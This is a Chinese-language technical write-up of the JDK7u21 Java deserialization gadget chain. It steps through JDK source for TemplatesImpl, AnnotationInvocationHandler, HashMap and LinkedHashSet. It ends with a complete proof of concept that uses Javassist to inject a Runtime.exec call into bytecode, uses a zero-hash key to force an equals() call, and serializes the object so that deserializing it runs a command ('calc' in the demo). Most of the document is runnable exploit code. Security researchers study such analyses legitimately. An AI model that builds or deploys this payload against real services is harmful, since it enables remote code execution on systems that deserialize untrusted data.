概述
JDK7u21
反序列化漏洞所用到的类都是 JDK
自带类,对其做了详细分析,记录一下.
主要涉及类和接口包括:LinkedHashSet
、HashSet
、HashMap
、TemplatesImpl
、AbstractTranslet
、Proxy
、AnnotationInvocationHandler
.
涉及知识点:Java 反序列化、反射、动态代理.
环境:jdk1.7.0_21
、IDEA 2019.2
分析过程
TemplatesImpl class
getTransletInstance() 方法
当 _class
字段为 null
时,会调用 defineTransletClasses()
方法,然后执行 _class[_transletIndex].newInstance()
语句( newInstance()
会调用 _class[_transletIndex]
的无参构造方法,生成类实例对象).
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
defineTransletClasses() 方法分析
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
// 遍历 _bytecodes(byte[][]) 数组,使用类加载器将字节码转化为 Class
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
// 获取 Class 的父类
final Class superClass = _class[i].getSuperclass();
// 如果 Class 的父类名是 "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet",为 _transletIndex 赋值,否则调用 Hashtable 的 put 方法为 _auxClasses 字段增加值
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
调用 getTransletInstance()
方法在 newTransformer()
方法中也有调用,并且不需要前置条件即可调用. 所以实际调用 newTransformer()
或 getTransletInstance()
方法都可以.
_bytecodes field
首先构造 Foo
类,该类实现了 Serializable
序列化接口.然后使用 ClassPool
修改 Foo
类,因为为 _transletIndex
设置值时,父类名必须为 "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"
,所以调用 clazz.setSuperclass(xxx)
设置 Foo
类的父类.另外调用类的无参构造方法时触发我们想要执行的代码,所以可以给 Foo
类的默认构造方法添加我们想执行的代码,或者构造静态代码块添加我们想执行的代码.
1、通过 ClassPool
构造字节码.
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
// 新增搜索路径到 pathList 中
pool.insertClassPath(new ClassClassPath(Foo.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
// 先后从缓存和 pathList 中寻找 Foo 类,返回 CtClass 对象
final CtClass clazz = pool.get(Foo.class.getName());
// 构造静态初始化语句,后面用到
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
// 在类中设置静态初始化语句
clazz.makeClassInitializer().insertBefore(cmd);
// 设置类名
clazz.setName("com.Pwner");
// 先后从缓存和 pathList 中寻找 abstTranslet 类,返回 CtClass 对象
CtClass superC = pool.get(abstTranslet.getName());
// 设置父类为 abstTranslet
clazz.setSuperclass(superC);
// 将类转换为二进制
final byte[] classBytes = clazz.toBytecode();
// 使用 Reflections 反射框架为 _bytecodes 字段赋值
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// 使用 Reflections 反射框架为 _name 字段赋值
Reflections.setFieldValue(templates, "_name", "Pwner");
return templates;
}
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
2、直接构造 Java
类,生成 class
文件,读取 class
文件并转换为字节码数组.
构造 Java 类
Foo.java
import java.lang.Runtime;
import java.io.Serializable;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
public class Foo extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
public Foo(){
try{
java.lang.Runtime.getRuntime().exec("calc");
}catch(Exception e){
System.out.println("exec Exception");
}
}
public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
读取 class 文件,生成字节码数组
InputStream in = new FileInputStream("class path");
byte[] data = toByteArray(in);
private static byte[] toByteArray(InputStream in) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[1024 * 4];
int n = 0;
while ((n = in.read(buffer)) != -1) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
将生成的字节码通过 Reflections
反射框架为 _bytecodes
字段赋值,这时 TemplatesImpl
对象就已经构造好了,只需要调用
newTransformer()
或 getTransletInstance()
方法即可触发.
AnnotationInvocationHandler class
由上面知道,我们需要找到一个序列化类,并且此序列化类能够调用 TemplatesImpl
对象的 newTransformer()
或 getTransletInstance()
方法. AnnotationInvocationHandler
类中的 equalsImpl
方法正好符合.
AnnotationInvocationHandler
类中存在 var8 = var5.invoke(var1);
语句(通过反射调用 var1
对象的 var5
方法),分析一下 equalsImpl
方法.
private Boolean equalsImpl(Object var1) {
// 判断 var1 和 this 对象是否相等
if (var1 == this) {
return true;
// 判断 var1 对象是否被转化为 this.type 类
} else if (!this.type.isInstance(var1)) {
return false;
} else {
// 根据 this.type 获取本类的所有方法
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
// 遍历从 this.type 类中获取的方法
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
// 查看 this.memberValues 中是否存在 key 为 this.type 类中的方法名
Object var7 = this.memberValues.get(var6);
Object var8 = null;
// var1 如果为代理类并且为 AnnotationInvocationHandler 类型,返回 Proxy.getInvocationHandler(var1).否则返回 null
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
// var9 不等于 null 时,执行 if 语句,否则执行 else 语句
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
// 调用 var1 对象的 var5 方法. 如:getOutputProperties.invoke(templatesImpl),就会调用 templatesImpl 对象的 getOutputProperties 方法
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
所以当我们调用 equalsImpl
方法,并且想要成功执行到 var5.invoke(var1)
时,需要满足几个条件:
1、var1 != this;
2、var1 对象能够转化为 this.type 类型,this.type 应该为 var1 对应类的本类或父类;
3、this.asOneOfUs(var1) 返回 null.
而想要通过反射执行 TemplatesImpl
对象的方法, var1
应该为 TemplatesImpl
对象,var5
应该为 TemplatesImpl
类中的方法,而 var5
方法是从 this.type
类中获取到的.通过查看 TemplatesImpl
类,javax.xml.transform.Templates
接口正好符合,这里最终会调用 getOutputProperties
方法.
equalsImpl
方法的调用在 invoke
方法中.分析 invoke
方法,想要调用 equalsImpl
方法,需要满足:
1、var2 方法名应该为 equals;
2、var2 方法的形参个数为 1;
3、var2 方法的形参类型为 Object 类型.
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
Annotationinvocationhandler
类 invoke
方法的调用涉及 Java
的动态代理机制,动态代理这里不再详细叙述,直构造代码:
TemplatesImpl templatesImpl = createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "sss");
// 使用 Reflections 反射框架创建 AnnotationInvocationHandler 对象,并设置 type 和 memberValues 字段值
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").
newInstance(Templates.class, map);
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allIfaces[0] = Templates.class;
// 生成代理类,实现 Templates 接口,代理对象为创建的 AnnotationInvocationHandler 对象
Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler);
templates.equals(templatesImpl);
通过执行 templates.equals(templatesImpl);
最终触发我们想要执行的语句.
HashMap class
通过以上我们知道,最终需要调用 templates.equals(templatesImpl);
才能触发我们想要执行的语句.
在 HashMap
的 put
方法中存在 key.equals(k)
语句,如果 key
为 templates
对象,k
为 templatesImpl
对象,则正好触发我们构造的调用链.但是执行 key.equals(k)
语句需要有前提条件:
1、HashMap 存入两个 key 的 hash 值相等,并且 indexFor 计算的 i 相等;
2、前一个 HashMap 对象值的 key 值不等于现在存入的 key 值;
3、现在存入的 key 值为 templates 对象,上一个存入的 key 值为 templatesImpl 对象.
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
所以我们可以进行像这样构造. 但是发现前提条件 1
并没有满足,所以需要看一下 hash
方法.
HashMap hashmap = new HashMap();
hashmap.put(templatesImpl, "templatesImpl");
hashmap.put(templates, "templates");
hash
方法中实际调用了传入 k
的 hashCode
方法. 所以实际调用的是 templatesImpl
和 templates
对象的 hashCode
方法.
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
TemplatesImpl
类没有重写 hashCode
方法,调用默认的 hashCode
方法.templates
对象对应的代理类重写了 hashCode
方法,实际调用 AnnotationInvocationHandler
类的 hashCodeImpl
方法.分析一下这个方法, 发现这个方法会遍历 this.memberValues
,每次用上一次计算的值加上 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
,而 memberValueHashCode
方法中知道,如果 this.memberValues
值的 value
值的类不是数组,就会返回该 value
值的 hashCode
值.如果 this.memberValues
只有一个 map
对象,并且 127 * ((String)var3.getKey()).hashCode()
计算的值为零,map
对象的 value
值为 templatesImpl
对象时,能够使得 HashMap
两次 put
值的 key
值相等.所以在创建 AnnotationInvocationHandler
对象时,传入的 map
对象,key
的 hashCode
值应该为零,value
值为 templatesImpl
对象.
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
这时我们构造的代码如下:
TemplatesImpl templatesImpl = createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, templatesImpl);
System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").
newInstance(Templates.class, map);
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allIfaces[0] = Templates.class;
Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler);
HashMap hashmap = new HashMap();
hashmap.put(templatesImpl, "templatesImpl");
hashmap.put(templates, "templates");
LinkedHashSet class
我们最终是要通过反序列化里触发我们的调用链,所以我们需要在 readObject
反序列化方法中寻找是否有调用 map
的 put
方法.在 HashSet
的 readObject
反序列化方法中会循环往 map
对象中 put
值.根据 writeObject
序列化我们知道,每次写入的对象为 map
的 key
值.所以我们创建的 LinkedHashSet
对象时,首先写入 templatesImpl
对象,然后写入 templates
.然后调用 writeObject
写入 LinkedHashSet
对象.使用 LinkedHashSet
来添加值是因为 LinkedHashSet
能够保证值的加入顺序.
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
POC
最终 POC 如下:
public class JDK7u21 {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "ssss");
System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").
newInstance(Templates.class, map);
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allIfaces[0] = Templates.class;
Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler);
LinkedHashSet set = new LinkedHashSet();
set.add(templatesImpl);
set.add(templates);
// 此处将 key 为 "f5a5a608" 的 map 对象的 value 值设置为 templatesImpl 是因为如果在 set.add(templates) 之前设置,则会令 LinkedHashSet 两次增加的 hash 值相等,在写入序列化对象前触发调用链.
map.put(zeroHashCodeStr, templatesImpl);
//序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("D://JDK7u21.ser")));
objectOutputStream.writeObject(set);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D://JDK7u21.ser"));
objectInputStream.readObject();
}
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
// 新增搜索路径到 pathList 中
pool.insertClassPath(new ClassClassPath(Foo.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
// 先后从缓存和 pathList 中寻找 Foo 类,返回 CtClass 对象
final CtClass clazz = pool.get(Foo.class.getName());
// 构造静态初始化语句,后面用到
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
// 在类中设置静态初始化语句
clazz.makeClassInitializer().insertBefore(cmd);
// 设置类名
clazz.setName("com.Pwner");
// 先后从缓存和 pathList 中寻找 abstTranslet 类,返回 CtClass 对象
CtClass superC = pool.get(abstTranslet.getName());
// 设置父类为 abstTranslet
clazz.setSuperclass(superC);
// 将类转换为二进制
final byte[] classBytes = clazz.toBytecode();
/*InputStream in = new FileInputStream("F:\\Foo.class");
byte[] data = toByteArray(in);*/
// 使用 Reflections 反射框架为 _bytecodes 字段赋值
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// 使用 Reflections 反射框架为 _name 字段赋值
Reflections.setFieldValue(templates, "_name", "Pwner");
return templates;
}
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
}